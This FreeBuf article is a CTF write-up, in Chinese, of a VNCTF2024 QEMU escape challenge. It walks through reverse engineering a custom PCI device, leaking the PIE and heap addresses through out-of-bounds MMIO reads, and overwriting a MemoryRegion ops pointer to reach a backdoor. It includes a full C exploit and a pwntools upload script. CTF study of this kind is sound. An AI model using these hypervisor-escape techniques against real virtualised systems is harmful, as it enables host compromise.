freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

从 VNCTF2024 的一道题学习QEMU Escape
蚁景科技 2024-03-15 16:57:56 105429

说在前面

本文的草稿是边打边学边写出来的,文章思路会与一个“刚打完用户态 pwn 题就去打 QEMU Escape ”的人的思路相似,在分析结束以后我又在部分比较模糊的地方加入了一些补充,因此阅读起来可能会相对轻松。(当然也不排除这是我自以为是)

题目 github 仓库

[1] 题目分析流程

[1-1] 启动文件分析

读 Dockerfile,了解到它在搭起环境以后启动了start.sh

再读 start.sh,了解到它启动了 xinetd程序

再读 xinetd,这个程序的主要作用是监听指定 port,并根据预先定义好的配置来启动相应服务。可以看到 server_args处启动了 run.sh

再读 run.sh,发现它用 QEMU 起了一个程序,通过 -device vn我们可以知道 vn是作为 QEMU 中的一个 pci设备存在的。

通过 IDA 查找字符串 vn_可以找到 vn_instance_init,跟进调用 字符串vn_instance_init的 函数vn_instance_init,再按 x 查看 函数vn_instance_init的引用,可以看到下面还有一个 vn_class_init,反汇编后看到

__int64 __fastcall vn_class_init(__int64 a1)
{
__int64 result; // rax

result = PCI_DEVICE_CLASS_23(a1);
*(_QWORD *)(result + 176) = pci_vn_realize;
*(_QWORD *)(result + 184) = 0LL;
*(_WORD *)(result + 208) = 0x1234; // 厂商ID (Vendor ID)
*(_WORD *)(result + 210) = 0x2024; // 设备ID (Device ID)
*(_BYTE *)(result + 212) = 0x10;
*(_WORD *)(result + 214) = 0xFF;
return result;
}

通过厂商ID和设备ID,我们可以判断下列 pci 设备中 00:04.0 Class 00ff: 1234:2024就是我们要找的 vn

/sys/devices/pci0000:00/0000:00:04.0 # lspci
lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2024
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

进而去/sys/devices/pci0000:00/0000:00:04.0目录查看该设备 mmio与 pmio的注册情况

/sys/devices/pci0000:00/0000:00:04.0 # ls -al
...
...
-r--r--r--   1 0       0             4096 Feb 18 12:18 resource
-rw-------   1 0       0             4096 Feb 18 12:18 resource0
...
...

有了 resource0 这个文件,我们就可以在exp里 mmap做虚拟地址映射。

并且我们可以看到 vn这个设备只注册了 mmio,那就考虑用 mmio攻击(点击这里了解 mmio 运行原理)

[1-2] 静态分析

如果我写的不够清楚,读者可以参考 blizzardCTF 里的 strng这一实现,读完这段代码会对 pci 设备的了解提升一个台阶。

我们先补充一些概念:

QEMU 提供了一套完整的模拟硬件给 QEMU 上的 kernel 来使用,而 -device参数为 kernel 提供了模拟的 pci 设备。

如果 kernel 实现了类似 linux 的 rootfs,我们就可以通过 lspci来查看相关 pci,并在/sys/devices/...找到 pci 设备启动时 kernel 分配给 pci 的资源,也就是 resource0 等,这也是前文提到过的。

resource0 可以看作是一大片开关,当我们修改 resource0 中的内容时,可以看做对应开关被启动,pci设备也随着开关的启动而变化,具体表现为“控制寄存器、状态寄存器以及设备内部的内存区域 随着 resource0 的变化而变化”

所以我们可以 open resource0 这个文件,用 mmap 映射它,从而使我们能够在C代码中对 resource0 这片内存进行修改

可是由于 QEMU 也只不过是一个程序,虚拟的 pci 设备意味着,一定有一片内存存储着 pci 相关的数据

关于 pci 存储数据的这一部分好像就涉及 QOM 了,还没太搞懂,总之跟pci_xx_realize, xx_class_init, xx_instance_init 等函数有关

假设我们的调用链是这样的: 
docker -> QEMU -> exp

则 docker 会让 QEMU 误以为自己占据全部内存空间,QEMU 会让 exp 认为自己占据全部内存空间

而 QEMU 的 pci 设备的 MemoryRegion 就存储在 QEMU 的堆区上,我们在程序 exp 中读写 resource0,就相当于操控 vn_mmio_read 和 vn_mmio_write 去读写 QEMU 的堆区,如果我们正好修改到 MemoryRegion 的 xx_mmio_ops 指针,就可以劫持控制流。

那么,接下来我们要做的事情就是去读一下 vn_mmio_read 和 vn_mmio_write 的反汇编,了解怎样读写堆区内容。

oNxdA.md.png

由于对 QEMU 不是很熟悉,我只能瞎命名,vn_mmio_write 的大体逻辑是

  • object_dynamic_cast_assert是动态类型转换,我OOP学的很烂所以不清楚这是什么,猜测是申请一块堆的地址然后用 ptr 指向这块地址

  • ①如果 op == 0x30 且 ptr[737] == 0

    • ptr[ ptr[736]/8 + 720 ] = var,并将 ptr[737] 设置为1

  • ②如果 op == 0x10 且 var < 0x3C

    • ptr[736] = var

    • 这里可以用负数来上溢,从而可以读很大一片空间的内容

  • ③如果 op == 0x20 且 var 的高32位 < 0x3C

    • ptr[ HIDWORD(var) + 720 ] = (LODWORD)var

同理 vn_mmio_read 也可以分析出来。

下面是我调试代码时画的草图,读者可以等看完“[2] 动态调试”部分以后再回来看这张图,个人认为这样的图对理解程序非常有帮助

SrYGT.jpeg

通过分析我们可以得知,vn_mmio_write可以实现一些越界写,同理分析 vn_mmio_read 我们可以得知,令可以实现一些越界读,根据反汇编我们可以定制一下这道题的 mmio_read

void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_base + addr)) = value;
}

uint32_t mmio_read(uint64_t addr)
{
return *((uint32_t*)(mmio_base + addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{
uint64_t val = value + (idx << 32);
mmio_write(0x20,val);
}

通过 Shift + F12 查/bin/sh可以跟进到这道题的后门函数0x67429B,我们需要跳转到这里去执行execv("/bin/sh");

现在我们知道了怎样读写堆区,也知道写入什么东西。但我们不知道 ptr[736] 附近是不是 MemoryRegion,而且 QEMU 会启动 pie,我们需要绕过 pie 才能利用后门函数。

所以我们就先读一些内容,看看附近有没有什么能利用的东西。

[2] 动态调试

接下来我们需要用 docker 调试 qemu,这里记录一下

# 注: 如果已经提前 docker-compose 好了,则可以直接通过 docker cp 来修改内部文件
docker cp /path/to/file container_name:/whatever/path/you/want/to/file

# 首先将 exp.c 静态编译为二进制文件
gcc exp.c --static -o exp

# 然后解包 rootfs.cpio,参考https://www.jianshu.com/p/f08e34cf08ad 的“调试”部分
hen rootfs.cpio

# 将 exp 放入 /core/usr/bin 中

# 重新打包 roortfs.cpio
gen rootfs.cpio

# 修改 run.sh
vim run.sh
# #!/bin/sh
# ./qemu-system-x86_64 \
#     -L ./pc-bios \
#     -m 128M \
#     -append "tsc=unstable console=ttyS0" \
#     -kernel bzImage \
#     -initrd rootfs.cpio \
#     -device vn \
#     -nographic \
#     -no-reboot \
#     -monitor /dev/null \

# 修改 Dockerfile,在创建容器时安装 qemu-system-x86 gdb,这一步其实在 容器的shell里也能install,可以跳过
vim Dockerfile # 下面内容只是 RUN 部分,其他部分不动
# RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
#     apt-get update && apt-get -y dist-upgrade && \
#     apt-get install -y lib32z1 xinetd \
#                       libpixman-1-dev libepoxy-dev libpng16-16 libjpeg8-dev \
#                       libfdt-dev libnuma-dev libglib2.0-dev \
#                       libgtk-3-dev libasound2-dev libcurl4 qemu-system-x86 gdb

# build 与 启动容器
docker-compose build
docker start vnctf

# 启动tmux,分页记为 pane1 和 pane2
# pane1:
docker exec -ti vnctf /bin/bash

# pane2:
docker exec -ti vnctf /bin/bash

# pane1:
./run.sh # 这里运行以后应该是什么也不会出现

# pane2:
ps -ax | grep "qemu-system-x86_64 -L" # 这一步获取 qemu 的进程号PID,用于 (gdb) attach PID
gdb ./qemu-system-x86_64
(gdb) attach PID # 比如 (gdb) attach 406
(gdb) c     # 输入完以后看一眼 pane1,如果qemu启动了就等qemu启动
# 如果没启动就继续输入 (gdb) c

# pane1:
# 此时 QEMU 正常运行,我们可以在里面输入一些命令比如ls等查看
cd /usr/bin # 这里是前面解包后的时候 exp 放入的文件夹
./exp

# pane2:
# 此时就可以开始调试了

现在程序正常运行了,我们开始查看读出来的东西有没有什么是能利用的

int main(int argc, char const *argv[])
{
uint32_t catflag_addr = 0x6E65F9;

getMMIOBase();
printf("mmio_base Resource0Base: %p\n", mmio_base);

uint64_t test_low,test_high,test;
for(int i=-1;i>=-30;i--) {
mmio_write(0x10, i*0x8);
test_low = mmio_read(0x20);
mmio_write(0x10, i*0x8 + 0x4);
test_high = mmio_read(0x20);
test = test_low + (test_high << 32);
printf("test%d = 0x%llx\n", -i, test);
getchar();
}
}

/*
/usr/bin # ./exp
mmio_base Resource0Base: 0x7fafa8025000
test1 = 0x0
test2 = 0x0
test3 = 0x0
test4 = 0x0
test5 = 0x55da28130f00
test6 = 0x55da2812ef78
test7 = 0x0
test8 = 0x55da271feb98
test9 = 0x55da27e4f820
test10 = 0x55da2812ef58
test11 = 0x0
test12 = 0x1
test13 = 0x0
test14 = 0x0
test15 = 0x10001
test16 = 0x0
test17 = 0x55da256a335b // -> memory_region_destructor_none
test18 = 0xfebf1000
test19 = 0x0
test20 = 0x1000
test21 = 0x0
test22 = 0x55da271feae0
test23 = 0x55da2812e470
test24 = 0x55da25dd01e0 // -> vn_mmio_ops
test25 = 0x55da2812e470
test26 = 0x55da2812e470
test27 = 0x0
*/

我们逐个地址 x/2gx一下,最终发现这几个比较有意思的地方

PIE

(gdb) x/2gx 0x55da256a335b
0x55da256a335b <memory_region_destructor_none>: 0xe5894855fa1e0ff3      0xf3c35d90f87d8948

我们在 IDA 中是能搜到这个函数的,它在 QEMU 里的偏移量是 0x82B35B,通过这个我们就可以计算出 docker 加载 QEMU 时的基地址了

heap & MemoryRegion

(gdb) x/2gx 0x55da25dd01e0
0x55da25dd01e0 <vn_mmio_ops>:   0x000055da252d3458      0x000055da252d3502

我们找到了需要的 ops,test24 存的就是 0x55da25dd01e0

所以我们有如下对应关系:

ptr[-24 + 720] -> 0x55da25dd01e0

那很自然的我们就想到,ptr的其他地方存着什么?这附近是不是就是 MemoryRegion?可是我们并没有 (&ptr[-24 + 720]),但我们知道的是 MemoryRegion 存在堆里,所以我们考虑用 find 命令查找(看起来像堆地址的)堆地址附近查找 0x55da25dd01e0 这个值就行

最终我们用到的是 test23 -> 0x55da2812e470

// 查找 [0x55da2812e470,0x55da2812e470+0x1000] 中存放0x55da25dd01e0的地址
(gdb) find 0x55da2812e470, 0x55da2812e470+0x1000, 0x55da25dd01e0
0x55da2812eef0
1 pattern found.

因此我们知道 0x55da2812eef0 存放着我们需要的 0x55da25dd01e0

观察发现这个地址跟我们的 test10 非常近,可以计算一下

(gdb) print(0x55da2812ef58 - 0x55da2812eef0)
$1 = 104
// 104 = 0x68
// 所以 test23 = 0x55da2812eef0 = 0x55da2812ef58 - 0x68 = test10 - 0x68

而我们打印一下更多附近的值,可以看到

(gdb) x/52xg 0x55da2812ef58 - 0x58 - 0x60
0x55da2812eea0: 0x000055da271f1840      0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00      0x0000000000000001
0x55da2812eec0: 0x000055da2812e470      0x0000000000000001
0x55da2812eed0: 0x0000000000000000      0x0000000000000000
0x55da2812eee0: 0x000055da2812e470      0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0      0x000055da2812e470 <- test 24 | 23
0x55da2812ef00: 0x000055da271feae0      0x0000000000000000
0x55da2812ef10: 0x0000000000001000      0x0000000000000000
0x55da2812ef20: 0x00000000febf1000      0x000055da256a335b <- test 18 | 17
0x55da2812ef30: 0x0000000000000000      0x0000000000010001
0x55da2812ef40: 0x0000000000000000      0x0000000000000000
0x55da2812ef50: 0x0000000000000001      0x0000000000000000
0x55da2812ef60: 0x000055da2812ef58      0x000055da27e4f820
0x55da2812ef70: 0x000055da271feb98      0x0000000000000000
0x55da2812ef80: 0x000055da2812ef78      0x000055da28130f00
0x55da2812ef90: 0x0000000000000000      0x0000000000000000
0x55da2812efa0: 0x0000000000000000      0x0000000000000000
0x55da2812efb0: 0x0000000000000000      0x0000000000000000 <- test 0 | -1
0x55da2812efc0: 0x0000000000000000      0x0000000000000000
0x55da2812efd0: 0x0000000000000000      0x0000000000000000
0x55da2812efe0: 0x0000000000000000      0x0000000000000000
0x55da2812eff0: 0x00000000ffffff2c      0x0000000000000000
0x55da2812f000: 0x0000000000000000      0x0000000000000061
0x55da2812f010: 0x000055da2812d3c0      0x000055da273b01d0
0x55da2812f020: 0x0000000000000000      0x000055da25725d5f
0x55da2812f030: 0x0000000000000000      0x000055da25725de1

我们回到 ctf-wiki-QEMU里查看一下 MemoryRegion

struct MemoryRegion {
Object parent_obj;

/* private: */

/* The following fields should fit in a cache line */
bool romd_mode;
bool ram;
bool subpage;
bool readonly; /* For RAM regions */
bool nonvolatile;
bool rom_device;
bool flush_coalesced_mmio;
bool global_locking;
uint8_t dirty_log_mask;
bool is_iommu;
RAMBlock *ram_block;
Object *owner;

const MemoryRegionOps *ops;
void *opaque;
MemoryRegion *container;    // 指向父 MemoryRegion
Int128 size;    // 内存区域大小
hwaddr addr;    // 在父 MR 中的偏移量
void (*destructor)(MemoryRegion *mr);
uint64_t align;
bool terminates;
bool ram_device;
bool enabled;
bool warning_printed; /* For reservations */
uint8_t vga_logging_count;
MemoryRegion *alias;    // 仅在 alias MR 中,指向实际的 MR
hwaddr alias_offset;
int32_t priority;
QTAILQ_HEAD(, MemoryRegion) subregions;
QTAILQ_ENTRY(MemoryRegion) subregions_link;
QTAILQ_HEAD(, CoalescedMemoryRange) coalesced;
const char *name;
unsigned ioeventfd_nb;
MemoryRegionIoeventfd *ioeventfds;
};

假设我们把 test24 看作上面结构体的 const MemoryRegionOps *ops;

0x55da2812eea0: 0x000055da271f1840
0x55da2812eea8: 0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00
0x55da2812eeb8: 0x0000000000000001
0x55da2812eec0: 0x000055da2812e470
0x55da2812eec8: 0x0000000000000001
0x55da2812eed0: 0x0000000000000000
0x55da2812eed8: 0x0000000000000000
0x55da2812eee0: 0x000055da2812e470
0x55da2812eee8: 0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0 -24 -> test24 -> ops
0x55da2812eef8: 0x000055da2812e470 -23 -> test23 -> opaque
0x55da2812ef00: 0x000055da271feae0 -22 -> test22 -> container
0x55da2812ef08: 0x0000000000000000 -21 -> test21 -> 这里不知道是什么
0x55da2812ef10: 0x0000000000001000 -20 -> test20 -> size(Int128)
0x55da2812ef18: 0x0000000000000000 -19 -> test19 -> size
0x55da2812ef20: 0x00000000febf1000 -18 -> test18 -> addr
0x55da2812ef28: 0x000055da256a335b -17 -> test17 -> mr
0x55da2812ef30: 0x0000000000000000
0x55da2812ef38: 0x0000000000010001
0x55da2812ef40: 0x0000000000000000
0x55da2812ef48: 0x0000000000000000
0x55da2812ef50: 0x0000000000000001
0x55da2812ef58: 0x0000000000000000
0x55da2812ef60: 0x0000000000000000
0x55da2812ef68: 0x0000000000000000
0x55da2812ef70: 0x0000000000000000
0x55da2812ef78: 0x0000000000000000
0x55da2812ef80: 0x0000000000000000
0x55da2812ef88: 0x0000000000000000
0x55da2812ef90: 0x0000000000000000
0x55da2812ef98: 0x0000000000000000
0x55da2812efa0: 0x0000000000000000
0x55da2812efa8: 0x0000000000000000 -> test0
0x55da2812efb0: 0x0000000000000000 -> 可以看到这里有一大片'\x00'
0x55da2812efb8: 0x0000000000000000 -> 我们可以把控制流劫持的指针
0x55da2812efc0: 0x0000000000000000 -> 放在这一片
0x55da2812efc8: 0x0000000000000000
0x55da2812efd0: 0x0000000000000000
0x55da2812efd8: 0x0000000000000000
0x55da2812efe0: 0x0000000000000000
0x55da2812efe8: 0x0000000000000000

我们可以看到这就是 MemoryRegion,当我们修改 ptr[-24 + 720] 即 MemoryRegion.ops 的值为 0x55da2812efb8(&test0 + 8),我们就可以在执行 vn_mmio_read 和 vn_mmio_write 时去执行 0x55da2812efb8 指向的函数

所以我们考虑这样的布置:

0x55da2812eef0(&test24)   -> 0x55da2812efd8
0x55da2812efd8(&backdoor) -> 0x55da2812efd0 -> 后门函数0x67429B

[3] 完整 EXP

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>

// #define MAP_SIZE 4096UL
#define MAP_SIZE 0x1000000
#define MAP_MASK (MAP_SIZE - 1)


char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";

unsigned char* mmio_base;

unsigned char* getMMIOBase(){

int fd;
if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
perror("open pci device");
exit(-1);
}
mmio_base = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0);
if(mmio_base == (void *) -1) {
perror("mmap");
exit(-1);
}
return mmio_base;
}

void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_base + addr)) = value;
}

uint32_t mmio_read(uint64_t addr)
{
return *((uint32_t*)(mmio_base + addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{
uint64_t val = value + (idx << 32);
mmio_write(0x20,val);
}

int main(int argc, char const *argv[])
{
uint32_t catflag_addr = 0x6E65F9;

getMMIOBase();
printf("mmio_base Resource0Base: %p\n", mmio_base);

mmio_write(0x10, -17*0x8);
uint64_t pie_low = mmio_read(0x20);
mmio_write(0x10, -17*0x8 + 0x4);
uint64_t pie_high = mmio_read(0x20);
uint64_t pie = pie_low + (pie_high << 32) - 0x82B35B;
printf("pie = 0x%llx\n", pie);
getchar();
mmio_write(0x10, -10*0x8);
uint64_t heap_low = mmio_read(0x20);
mmio_write(0x10, -10*0x8 + 0x4);
uint64_t heap_high = mmio_read(0x20);
uint64_t heap = heap_low + (heap_high << 32);
printf("heap = 0x%llx\n", heap);
uint64_t backdoor = pie + 0x67429B;
uint64_t system_plt_addr = heap + 0x60 + 8;
uint64_t cmdaddr = heap + 0x58 + 8;
getchar();
mmio_write_idx(8,0x20746163);
mmio_write_idx(12,0x67616C66);
mmio_write_idx(16,backdoor & 0xffffffff);
mmio_write_idx(20,backdoor >> 32);
mmio_write_idx(24,system_plt_addr & 0xffffffff);
mmio_write_idx(28,system_plt_addr >> 32);
mmio_write_idx(32,cmdaddr & 0xffffffff);
mmio_write_idx(36,cmdaddr >> 32);
getchar();
for(int i = 40;i <= 60 ;i += 4 )
{
mmio_write_idx(i,0);
}
getchar();
mmio_write(0x10,-0xc0);
getchar();
mmio_write(0x30,system_plt_addr);
getchar();
mmio_read(0);
return 0;
}

[4] exp.c 如何食用?

# exp.py
from pwn import *
import time, os
context.log_level = "debug"

p=remote("127.0.0.1",9999)
os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")

f = open("./b64_exp", "r")

p.sendline()
p.recvuntil("~ #")
p.sendline("echo '' > b64_exp;")

count = 1
while True:
print('now line: ' + str(count))
line = f.readline().replace("\n","")
if len(line)<=0:
break
cmd = b"echo '" + line.encode() + b"' >> b64_exp;"
p.sendline(cmd) # send lines
#time.sleep(0.02)
#p.recv()
p.recvuntil("~ #")
count += 1
f.close()

p.sendline("base64 -d b64_exp > exp.tar.gz;")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x ./exp;")
p.sendline("./exp")
p.interactive()

[5] 结语

本来以为 QEMU 是我走向内核态的第一步,但当我用 gdb 把它调起来的时候才发现,QEMU 也只是操作系统上的一个程序,跟我们平时打的用户态区别不大,也是 leak 然后劫持控制流去 getshell

但虚拟化和QEMU知识的缺失也让我“架空学习”,勿以浮沙筑高台,有时间还是要回过头来把基础筑牢的,现在对这道题理解的抽象程度还是太高了,应该继续打开它、研究它。

# CTF # QEMU # pwn
本文为 蚁景科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发,专注网络空间安全实用型人才培养,全面提升用户动手实践能力。
  • 907 文章数
  • 675 关注者
蚁景科技荣膺双项殊荣,引领网络安全教育新潮流
2025-03-28
FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
2025-03-27
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
2025-03-18
文章目录